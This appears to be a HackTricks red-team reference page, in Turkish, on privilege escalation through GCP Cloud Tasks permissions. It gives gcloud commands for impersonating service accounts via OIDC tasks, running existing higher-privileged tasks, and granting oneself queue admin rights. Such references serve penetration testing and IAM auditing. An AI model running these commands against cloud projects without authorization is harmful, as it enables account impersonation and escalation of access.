GCP - Cloud Tasks Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Bu izinlere sahip bir saldırgan, belirtilen service account kimliğiyle çalıştırılan görevler oluşturarak diğer service account’ları taklit edebilir. Bu, IAM korumalı Cloud Run veya Cloud Functions servislerine kimlik doğrulanmış HTTP istekleri göndermeyi sağlar.

Create Cloud Task with service account impersonation ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ --location us-central1 \ --queue \ --url 'https://.us-central1.run.app' \ --method POST \ --header 'X-Hello: world' \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ```

cloudtasks.tasks.run, cloudtasks.tasks.list

Bu izinlere sahip bir saldırgan, görevle ilişkili service account üzerinde izne sahip olmadan mevcut zamanlanmış görevleri çalıştırabilir. Bu, daha yüksek ayrıcalıklara sahip service account’larla daha önce oluşturulmuş görevleri çalıştırmayı sağlar.

Mevcut Cloud Task'ı actAs izni olmadan çalıştır ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ```

Bu komutu çalıştıran principal’ın görev servis hesabı üzerinde iam.serviceAccounts.actAs iznine ihtiyacı yoktur. Ancak bu sadece mevcut görevleri çalıştırmaya izin verir — görev oluşturma veya değiştirme yetkisi vermez.

cloudtasks.queues.setIamPolicy

Bu izne sahip bir saldırgan, belirli kuyruklarda kendisine veya diğer principal’lara Cloud Tasks rolleri atayabilir, potansiyel olarak roles/cloudtasks.admin’e yükselerek görev oluşturma ve çalıştırma yetkisini kazanabilir.

Kuyruğa Cloud Tasks admin rolü verme ```bash gcloud tasks queues add-iam-policy-binding \ \ --location us-central1 \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ```

Bu, saldırganın kontrol ettiği herhangi bir servis hesabına kuyruk üzerinde tam Cloud Tasks admin permissions vermesine olanak tanır.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin